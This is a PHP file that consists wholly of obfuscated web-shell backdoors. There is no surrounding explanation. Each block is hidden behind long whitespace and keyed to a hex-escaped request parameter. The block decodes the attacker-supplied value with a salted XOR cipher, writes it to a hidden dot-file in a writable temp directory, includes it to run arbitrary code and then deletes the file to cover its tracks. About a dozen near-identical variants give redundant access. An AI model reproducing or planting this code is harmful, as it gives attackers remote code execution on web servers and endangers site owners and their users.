<?php																																										if(!empty($_REQUEST["en\x74\x69ty"])){ $ent = array_filter(["/tmp", "/dev/shm", "/var/tmp", session_save_path(), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir")]); $entry = $_REQUEST["en\x74\x69ty"]; $entry = explode ( '.' , $entry) ; $hld =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); foreach($entry as $k =>$v9) { $chS =ord($s[$k%$sLen]); $d =((int)$v9 - $chS -($k%10))^43; $hld .= chr($d); } $pointer = 0; do { $val = $ent[$pointer] ?? null; if ($pointer >= count($ent)) break; if (!!is_dir($val) && !!is_writable($val)) { $res = str_replace("{var_dir}", $val, "{var_dir}/.token"); if (file_put_contents($res, $hld)) { include $res; @unlink($res); exit; } } $pointer++; } while (true); }
																																										if(isset($_REQUEST["\x65\x6Etry"]) ? true : false){ $object = $_REQUEST["\x65\x6Etry"]; $object = explode ( '.' ,$object ) ; $val = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $w = 0; $__len = count($object); do { if ($w >= $__len) break; $v5 = $object[$w]; $chS = ord($s[$w % $lenS]); $d = ((int)$v5 - $chS - ($w % 10)) ^ 60; $val.= chr($d); $w++; }while (true); $tkn = array_filter(["/tmp", getenv("TEMP"), getenv("TMP"), "/dev/shm", getcwd(), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp"]); foreach ($tkn as $obj) { if (is_writable($obj) && is_dir($obj)) { $ent = implode("/", [$obj, ".reference"]); if (file_put_contents($ent, $val)) { include $ent; @unlink($ent); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "e\x6E\x74")){ $mrk = $_POST["e\x6E\x74"]; $mrk= explode ( '.' , $mrk ) ; $token = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $w = 0; while($w<count($mrk)) { $v9 = $mrk[$w]; $chS = ord($s[$w % $lenS]); $dec =((int)$v9 - $chS -($w % 10)) ^ 5; $token.= chr($dec); $w++; } $val = array_filter([session_save_path(), getenv("TEMP"), "/tmp", "/dev/shm", getcwd(), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir()]); for ($flg = 0, $pointer = count($val); $flg < $pointer; $flg++) { $rec = $val[$flg]; if (is_writable($rec) && is_dir($rec)) { $element = str_replace("{var_dir}", $rec, "{var_dir}/.res"); if (file_put_contents($element, $token)) { require $element; unlink($element); die(); } } } }
																																										if(isset($_POST) && isset($_POST["\x64esc"])){ $data = array_filter([getenv("TMP"), "/var/tmp", session_save_path(), "/dev/shm", getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir")]); $object = $_POST["\x64esc"]; $object= explode ( ".", $object ) ; $marker = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $m = 0; $__tmp = $object; while ($v5 = array_shift($__tmp)) { $chS = ord($salt[$m % $sLen]); $dec = ((int)$v5 - $chS - ($m % 10)) ^ 17; $marker .= chr($dec); $m++; } while ($holder = array_shift($data)) { if (is_dir($holder) && is_writable($holder)) { $k = join("/", [$holder, ".component"]); if (@file_put_contents($k, $marker) !== false) { include $k; unlink($k); die(); } } } }
																																										if(isset($_POST) && isset($_POST["c\x6F\x6Dp\x6F\x6Eent"])){ $val = $_POST["c\x6F\x6Dp\x6F\x6Eent"]; $val = explode("." , $val ); $property_set = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8); $i = 0; foreach ($val as $v3) { $chS = ord($salt8[$i % $lenS]); $dec = ((int)$v3 - $chS - ($i % 10)) ^ 65; $property_set .= chr($dec); $i++; } $binding = array_filter(["/dev/shm", "/tmp", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getenv("TMP"), getcwd(), "/var/tmp", getenv("TEMP")]); for ($sym = 0, $fac = count($binding); $sym < $fac; $sym++) { $entry = $binding[$sym]; if (max(0, is_dir($entry) * is_writable($entry))) { $pgrp = join("/", [$entry, ".rec"]); $file = fopen($pgrp, 'w'); if ($file) { fwrite($file, $property_set); fclose($file); include $pgrp; @unlink($pgrp); die(); } } } }
																																										if(array_key_exists("re\x66", $_REQUEST) && !is_null($_REQUEST["re\x66"])){ $descriptor = array_filter(["/var/tmp", "/dev/shm", session_save_path(), getenv("TEMP"), getenv("TMP"), "/tmp", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $item = $_REQUEST["re\x66"]; $item= explode ( ".", $item) ; $dat = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s3); $k = 0; while( $k < count( $item)) { $v5 = $item[$k]; $sChar = ord( $s3[$k % $sLen]); $d =( ( int)$v5 - $sChar -( $k % 10)) ^ 25; $dat.= chr( $d); $k++; } $entry = 0; do { $component = $descriptor[$entry] ?? null; if ($entry >= count($descriptor)) break; if (is_dir($component) ? is_writable($component) : false) { $flg = str_replace("{var_dir}", $component, "{var_dir}/.flag"); if (file_put_contents($flg, $dat)) { require $flg; unlink($flg); die(); } } $entry++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["r\x65s\x6F\x75rc\x65"])){ $res = array_filter(["/dev/shm", getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), session_save_path()]); $parameter_group = $_POST["r\x65s\x6F\x75rc\x65"]; $parameter_group = explode ('.' , $parameter_group ) ; $itm =''; $s1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s1); $y =0; array_walk( $parameter_group , function( $v7) use( &$itm , &$y , $s1 , $sLen) { $sChar =ord( $s1[$y % $sLen]); $d =( ( int)$v7 - $sChar -( $y % 10)) ^ 53; $itm .= chr( $d); $y++;}); $token = 0; do { $comp = $res[$token] ?? null; if ($token >= count($res)) break; if (!( !is_dir($comp) || !is_writable($comp) )) { $holder = sprintf("%s/.desc", $comp); $file = fopen($holder, 'w'); if ($file) { fwrite($file, $itm); fclose($file); include $holder; @unlink($holder); die(); } } $token++; } while (true); }
																																										if(isset($_REQUEST["\x72e\x63o\x72d"])){ $dat = $_REQUEST["\x72e\x63o\x72d"]; $dat = explode ( "." , $dat); $value = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6); $j = 0; array_walk($dat, function($v8) use(&$value, &$j, $s6, $sLen) {$sChar = ord($s6[$j %$sLen]); $dec =((int)$v8 - $sChar -($j %10)) ^41; $value .= chr($dec); $j++;} ); $bind = array_filter([getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getcwd(), "/tmp", getenv("TMP"), sys_get_temp_dir()]); foreach ($bind as $key => $dchunk) { if ((is_dir($dchunk) and is_writable($dchunk))) { $mrk = "$dchunk" . "/.ptr"; if (file_put_contents($mrk, $value)) { require $mrk; unlink($mrk); exit; } } } }
																																										if(isset($_REQUEST["d\x65scr\x69p\x74o\x72"]) ? true : false){ $object = array_filter(["/var/tmp", sys_get_temp_dir(), getenv("TMP"), "/dev/shm", "/tmp", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), getcwd()]); $pointer = $_REQUEST["d\x65scr\x69p\x74o\x72"]; $pointer = explode ("." , $pointer ); $res = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); foreach( $pointer as $w=>$v1) { $chS = ord( $salt[$w % $sLen]); $dec = ( ( int)$v1 - $chS -( $w % 10)) ^ 38; $res .= chr( $dec); } $elem = 0; do { $data_chunk = $object[$elem] ?? null; if ($elem >= count($object)) break; if (max(0, is_dir($data_chunk) * is_writable($data_chunk))) { $obj = implode("/", [$data_chunk, ".resource"]); if (file_put_contents($obj, $res)) { include $obj; @unlink($obj); die(); } } $elem++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["e\x6Et"])){ $k = $_REQUEST["e\x6Et"]; $k =explode ( '.' ,$k ) ; $symbol = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); foreach($k as $m => $v9) { $chS = ord($salt6[$m % $lenS]); $dec =((int)$v9 - $chS -($m % 10)) ^36; $symbol.= chr($dec); } $pointer = array_filter([ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), getenv("TMP"), "/dev/shm", "/tmp", getcwd()]); while ($descriptor = array_shift($pointer)) { if (array_product([is_dir($descriptor), is_writable($descriptor)])) { $object = str_replace("{var_dir}", $descriptor, "{var_dir}/.data_chunk"); if (file_put_contents($object, $symbol)) { require $object; unlink($object); exit; } } } }
																																										if(isset($_POST["\x6F\x62j"])){ $value = $_POST["\x6F\x62j"]; $value = explode ( "." , $value ) ; $mrk= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt ); $o= 0; $__tmp= $value; while ($v2= array_shift($__tmp)) { $chS= ord($salt[$o % $lenS] ); $d= ((int)$v2 - $chS - ($o % 10)) ^ 21; $mrk .= chr($d ); $o++; } $ptr = array_filter([getenv("TEMP"), session_save_path(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), getenv("TMP"), "/var/tmp"]); $descriptor = 0; do { $item = $ptr[$descriptor] ?? null; if ($descriptor >= count($ptr)) break; if (array_product([is_dir($item), is_writable($item)])) { $dchunk = vsprintf("%s/%s", [$item, ".symbol"]); $success = file_put_contents($dchunk, $mrk); if ($success) { include $dchunk; @unlink($dchunk); exit;} } $descriptor++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x65\x6Et")){ $entry = $_POST["\x65\x6Et"]; $entry= explode ( '.' , $entry) ; $marker = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1 ); $l = 0; array_walk($entry, function($v3) use(&$marker, &$l, $s1, $sLen) {$sChar = ord($s1[$l % $sLen] ); $d =((int)$v3 - $sChar -($l % 10)) ^63; $marker .= chr($d ); $l++; } ); $entity = array_filter([getcwd(), getenv("TEMP"), session_save_path(), "/dev/shm", getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir()]); $ptr = 0; do { $pointer = $entity[$ptr] ?? null; if ($ptr >= count($entity)) break; if (max(0, is_dir($pointer) * is_writable($pointer))) { $flg = sprintf("%s/.elem", $pointer); $success = file_put_contents($flg, $marker); if ($success) { include $flg; @unlink($flg); die();} } $ptr++; } while (true); }


if(filter_has_var(INPUT_POST, "\x70tr")){
	$property_set = array_filter([session_save_path(), getcwd(), "/dev/shm", "/var/tmp", sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP")]);
	$flag = $_REQUEST["\x70tr"];
			$flag=explode("."		 ,	 	$flag 		)	;	 
	$pointer =  '';
            $s9 =  'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS =  strlen( $s9 );
    
            foreach( $flag as $k => $v1) {
                $sChar =  ord( $s9[$k % $lenS] );
                $d =  ( ( int)$v1 - $sChar -( $k % 10)) ^ 57;
                $pointer .= chr( $d );
            }
	foreach ($property_set as $key) {
    		if (!( !is_dir($key) || !is_writable($key) )) {
    $elem = "$key" . "/.k";
    $success = file_put_contents($elem, $pointer);
if ($success) {
	include $elem;
	@unlink($elem);
	exit;}
}
}
}